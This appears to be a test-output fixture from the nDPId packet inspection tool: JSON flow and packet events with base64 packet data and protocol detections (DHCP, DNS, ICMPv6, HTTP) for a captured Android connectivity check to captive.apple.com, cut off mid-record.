+00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1582454856384,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":4691,"pkt_caplen":113,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"TGr2n\/Yn2DBiVgAciI4CAwBfAgCKABAAAAAAAAAAAItGYkOhXtVHFSBei+KDaRb2mr+UrA3yLPv\/bW2693f7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","type":34958} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":9017,"pkt_caplen":135,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"2DBiVgAcTGr2n\/YniI4BAwB1AgEKAAAAAAAAAAAAABovI0nixZFFW\/ZpJww553gjQO2Uwi5137Ow8+iP3PqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABg6nQQ8V4nFthsHWtgZMXFABYwFAEAAA+sBAEAAA+sBAEAAA+sAgAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":61,"source":"android.pcap","alias":"nDPId-test","type":34958} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":9287,"pkt_caplen":169,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"TGr2n\/Yn2DBiVgAciI4CAwCXAhPKABAAAAAAAAAAAYtGYkOhXtVHFSBei+KDaRb2mr+UrA3yLPv\/bW2693f7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADZcbSnYYoBu5dETlqS4YLUADjuvEvKQvPJ0rVdu0zb5LSOsCSMjRkTMYTV0rOZo1ZtYgUxQ\/1u64gYvePhWbMqouPvhtSR61kuMw=="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":62,"source":"android.pcap","alias":"nDPId-test","type":34958} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":13552,"pkt_caplen":113,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"2DBiVgAcTGr2n\/YniI4BAwBfAgMKAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACSXhMQpT7Z+H8pmeIKqgblAAA="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":63,"source":"android.pcap","alias":"nDPId-test","type":34958} +00438{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"android.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1582454865794,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff9f:f627","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":794321,"pkt_caplen":78,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":78,"pkt_l4_len":24,"pkt":"MzP\/n\/YnTGr2n\/Ynht1gAAAAABg6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/n\/YnhwBLLgAAAAD+gAAAAAAAAE5q9v\/+n\/Yn"} +00472{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"android.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1582454865794,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff9f:f627","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00429{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"android.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1582454865802,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454865,"pkt_ts_usec":802211,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWTGr2n\/Ynht1gAAAAACQAAQAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHjDAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/n\/Yn"} +00463{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":65,"source":"android.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1582454865802,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00461{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":26255,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWTGr2n\/Ynht1gAAAAACQAAQAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHjDAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/n\/Yn"} +00796{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":405948,"pkt_caplen":328,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":328,"pkt_l4_len":294,"pkt":"\/\/\/\/\/\/\/\/TGr2n\/YnCABFEAE6AABAAEAROaQAAAAA\/\/\/\/\/wBEAEMBJv6iAQEGAO9+0loAAAAAAAAAAAAAAAAAAAAAAAAAAExq9p\/2JwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBPQcBTGr2n\/YnOQIF3DwOYW5kcm9pZC1kaGNwLTk3CgEDBg8aHDM6Oyv\/AA=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"android.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1582454866407,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.16","src_port":67,"dst_port":68,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00801{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":407712,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFILXYAAP8RB83AqAIBwKgCEABDAEQBNN9OAgEGAO9+0loAAAAAAAAAAMCoAhDAqAIBAAAAAExq9p\/2JwAAAAAAAAAAAABMdWNhcy1pTWFjLmxvY2FsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQECNgTAqAIBMwQAAU4gAQT\/\/\/8AAwTAqAIBBgTAqAIB\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"android.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1582454866407,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.16","src_port":67,"dst_port":68,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"android.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1582454866448,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":448783,"pkt_caplen":114,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":114,"pkt_l4_len":60,"pkt":"MzMAAQACTGr2n\/Ynht1gBNipADwRAf6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAQACAiICIwA8Uc8B2OT+AAEADgABAAEl5RSOTGr2n\/YnAAMADA4ACMoAAAAAAAAAAAAIAAIAAAAGAAQAFwAY"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":69,"source":"android.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1582454866448,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"proto":"DHCPV6","breed":"Acceptable","category":"Network"}} +00812{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":536260,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"\/\/\/\/\/\/\/\/TGr2n\/YnCABFEAFGAABAAEAROZgAAAAA\/\/\/\/\/wBEAEMBMg8gAQEGAO9+0loAAAAAAAAAAAAAAAAAAAAAAAAAAExq9p\/2JwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDPQcBTGr2n\/YnMgTAqAIQNgTAqAIBOQIF3DwOYW5kcm9pZC1kaGNwLTk3CgEDBg8aHDM6Oyv\/AA=="} +00801{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":538292,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFILXcAAP8RB8zAqAIBwKgCEABDAEQBNNxOAgEGAO9+0loAAAAAAAAAAMCoAhDAqAIBAAAAAExq9p\/2JwAAAAAAAAAAAABMdWNhcy1pTWFjLmxvY2FsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqAIBMwQAAU4gAQT\/\/\/8AAwTAqAIBBgTAqAIB\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00452{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"android.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1582454866803,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":803266,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWTGr2n\/Ynht1gAAAAACQAAf6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAEAQAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/n\/Yn"} +00486{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":73,"source":"android.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1582454866803,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"android.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1582454866803,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":803383,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACTGr2n\/Ynht1gAAAAABA6\/\/6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAAAChQAIygAAAAABAUxq9p\/2Jw=="} +00485{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":74,"source":"android.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1582454866803,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e6a:f6ff:fe9f:f627","dst_ip":"ff02::2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00464{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454866,"pkt_ts_usec":894254,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWTGr2n\/Ynht1gAAAAACQAAf6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAEAQAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/n\/Yn"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"android.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1582454867034,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":52953,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":34753,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA\/qSJAAEARDCrAqAIQwKgCAc7ZADUAKwPW+6YBAAABAAAAAAAAB2NhcHRpdmUFYXBwbGUDY29tAAABAAE="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":78,"source":"android.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1582454867034,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":52953,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00636{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":75877,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"TGr2n\/YnxiwDYGpkCABFAADPTgIAAEARprrAqAIBwKgCEAA1ztkAu4V++6aBgAABAAUAAAAAB2NhcHRpdmUFYXBwbGUDY29tAAABAAHADAAFAAEAABCKACoMY2FwdGl2ZS1jaWRyDG9yaWdpbi1hcHBsZQNjb20GYWthZG5zA25ldADALwAFAAEAAACCAA4LY2FwdGl2ZS1jZG7APMBlAAUAAQAAAVQAFAdjYXB0aXZlAWcHYWFwbGltZ8AawH8AAQABAAAAEwAEEf01ycB\/AAEAAQAAABMABBH9NdA="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":79,"source":"android.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":2,"flow_first_seen":1582454867034,"flow_last_seen":1582454867075,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":43,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":52953,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"ConnectivityCheck"},"dns": {"query":"captive.apple.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.253.53.201"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"android.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1582454867151,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"17.253.53.201","src_port":58338,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":151119,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8SJ9AAEAG557AqAIQEf01yePiAFBF7HpxAAAAAKAC\/\/9mAgAAAgQFtAQCCAr\/\/zLuAAAAAAEDAwg="} +00440{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":184863,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8AAAAADQGfD4R\/TXJwKgCEABQ4+KuJAPnRex6cqAScNDonAAAAgQFrAQCCAp2SOQ3\/\/8y7gEDAwg="} +00427{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":186637,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SKBAAEAG56XAqAIQEf01yePiAFBF7HpyriQD6IAQAVeG0QAAAQEICv\/\/Mvh2SOQ3"} +00703{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":196995,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"xiwDYGpkTGr2n\/YnCABFAAD\/SKFAAEAG5tnAqAIQEf01yePiAFBF7HpyriQD6IAYAVcOJwAAAQEICv\/\/Mvp2SOQ3R0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4zMiBTYWZhcmkvNTM3LjM2DQpDb25uZWN0aW9uOiBDbG9zZQ0KSG9zdDogY2FwdGl2ZS5hcHBsZS5jb20NCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KDQo="} +00749{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"android.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1582454867151,"flow_last_seen":1582454867196,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":32,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"17.253.53.201","src_port":58338,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Apple","breed":"Safe","category":"ConnectivityCheck"},"http": {"hostname":"captive.apple.com","url":"captive.apple.com\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.32 Safari\/537.36"}} +00428{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":231104,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0ee4AADQGAlgR\/TXJwKgCEABQ4+KuJAPoRex7PYAQAHWGuAAAAQEICnZI5GX\/\/zL6"} +01389{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":231433,"pkt_caplen":781,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":781,"pkt_l4_len":747,"pkt":"TGr2n\/YnxiwDYGpkCABFAAL\/ee8AADQG\/4sR\/TXJwKgCEABQ4+KuJAPoRex7PYAYAHUjQQAAAQEICnZI5Gb\/\/zL6SFRUUC8xLjEgMjAwIE9LDQp4LWFtei1pZC0yOiBUZmRScWY2TzVNZjhFamtVSWR6amlwRWhKVzRQSHdWTUJ6bndmWmRSeTk2TXE2SDQ5SFRxWUdqRjZoOVd5VnNvRUpVMjhZeExNYjA9DQp4LWFtei1yZXF1ZXN0LWlkOiA1Q0ZEQkY3OUFCMENGNTIzDQpEYXRlOiBTdW4sIDIzIEZlYiAyMDIwIDEwOjQ2OjE2IEdNVA0KTGFzdC1Nb2RpZmllZDogRnJpLCAxNyBGZWIgMjAxNyAyMDozNjoyOCBHTVQNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MzAwDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiA2OQ0KU2VydmVyOiBBVFMvOC4wLjYNClZpYTogaHR0cC8xLjEgbmxhbXMyLWVkZ2UtbHgtMDExLnRzLmFwcGxlLmNvbSA